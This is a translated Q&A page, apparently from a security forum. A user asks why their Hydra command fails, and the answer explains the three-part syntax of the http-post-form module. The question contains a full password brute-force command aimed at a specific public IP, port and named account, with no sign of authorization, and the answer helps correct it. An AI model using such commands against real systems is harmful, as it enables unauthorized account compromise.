messaggio di errore forza bruta Hydra

Question

messaggio di errore forza bruta Hydra

#1 da (3 voti)

0

hydra 190.13.132.90 -s 8081 -V -L /home/nicolas/Escritorio/USER -P /home/nicolas/Escritorio/passwords.txt http-post-form "/user=^USER^&password=^PASS^=Ingresar&culture=es-CL&mobile=0&clasica=1:F=Usuario inexistente:H=Cookie: stwa2={"lang":"es-CL"}"
Hydra v8.7-dev (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-29 14:34:51
[ERROR] the variables argument needs at least the strings ^USER^, ^PASS^, ^USER64^ or ^PASS64^: F=Usuario inexistente

Qualcuno potrebbe scrivere la stringa corretta da usare in hydra per favore? Sono un noob che usa hydra:)

Il nome utente è Gonzalo Sepulveda.

L'URL completo del login è:

link

linux hydra

posta N1CR0N1X 30.04.2018 - 23:11

fonte

1 risposta

Leggi altre domande sui tag linux hydra

Quali sono le opzioni per memorizzare una chiave che sblocca localmente i dati crittografati su un dispositivo? File eseguibili negli allegati di posta elettronica su UNIX

score 3 · Answer 1

Il modulo http-post-form richiede tre argomenti separati da due punti, in questo modo:

/login.php:username=^USER^&password=^PASS^:login failed

L'argomento "variabili" in cui si forniscono i dati POST con i segnaposto di password e nome utente (che ho messo in grassetto) è l'argomento secondo . Ma hai dato i dati POST come primo argomento che fa pensare a Hydra che questo sia effettivamente il percorso.

Quindi, con il tuo comando, Hydra pensa ...

/user=^USER^&password=^PASS^=Ingresar&culture=es-CL&mobile=0&clasica=1

... è il percorso e ...

F=Usuario inexistente

sono i parametri POST - che non contengono ^USER^ o ^PASS^ e quindi non sono validi.